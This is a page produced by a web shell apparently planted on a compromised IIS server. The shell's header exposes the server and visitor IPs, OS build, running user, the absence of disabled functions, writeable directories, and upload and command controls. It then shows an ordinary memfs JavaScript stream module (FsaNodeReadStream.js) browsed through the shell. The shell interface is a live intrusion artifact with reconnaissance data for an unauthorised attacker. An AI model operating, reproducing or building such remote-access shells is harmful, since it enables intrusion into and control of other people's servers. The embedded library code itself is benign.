403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/memfs/lib/fsa-to-node/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/memfs/lib/fsa-to-node/FsaNodeReadStream.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.FsaNodeReadStream = void 0;
const stream_1 = require("stream");
const Defer_1 = require("../thingies/Defer");
const concurrency_1 = require("../thingies/concurrency");
class FsaNodeReadStream extends stream_1.Readable {
    constructor(fs, handle, path, options) {
        super();
        this.fs = fs;
        this.handle = handle;
        this.path = path;
        this.options = options;
        this.__pending__ = true;
        this.__closed__ = false;
        this.__bytes__ = 0;
        this.__mutex__ = (0, concurrency_1.concurrency)(1);
        this.__file__ = new Defer_1.Defer();
        handle
            .then(file => {
            if (this.__closed__)
                return;
            this.__file__.resolve(file);
            if (this.options.fd !== undefined)
                this.emit('open', file.fd);
            this.emit('ready');
        })
            .catch(error => {
            this.__file__.reject(error);
        })
            .finally(() => {
            this.__pending__ = false;
        });
    }
    async __read__() {
        return await this.__mutex__(async () => {
            if (this.__closed__)
                return;
            const { file } = await this.__file__.promise;
            const blob = await file.getFile();
            const buffer = await blob.arrayBuffer();
            const start = this.options.start || 0;
            let end = typeof this.options.end === 'number' ? this.options.end + 1 : buffer.byteLength;
            if (end > buffer.byteLength)
                end = buffer.byteLength;
            const uint8 = new Uint8Array(buffer, start, end - start);
            return uint8;
        });
    }
    __close__() {
        if (this.__closed__)
            return;
        this.__closed__ = true;
        if (this.options.autoClose) {
            this.__file__.promise
                .then(file => {
                this.fs.close(file.fd, () => {
                    this.emit('close');
                });
                return file.close();
            })
                .catch(error => { });
        }
    }
    // -------------------------------------------------------------- IReadStream
    get bytesRead() {
        return this.__bytes__;
    }
    get pending() {
        return this.__pending__;
    }
    // ----------------------------------------------------------------- Readable
    _read() {
        this.__read__().then((uint8) => {
            if (this.__closed__)
                return;
            if (!uint8)
                return this.push(null);
            this.__bytes__ += uint8.length;
            this.__close__();
            this.push(uint8);
            this.push(null);
        }, error => {
            this.__close__();
            this.destroy(error);
        });
    }
}
exports.FsaNodeReadStream = FsaNodeReadStream;
//# sourceMappingURL=FsaNodeReadStream.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit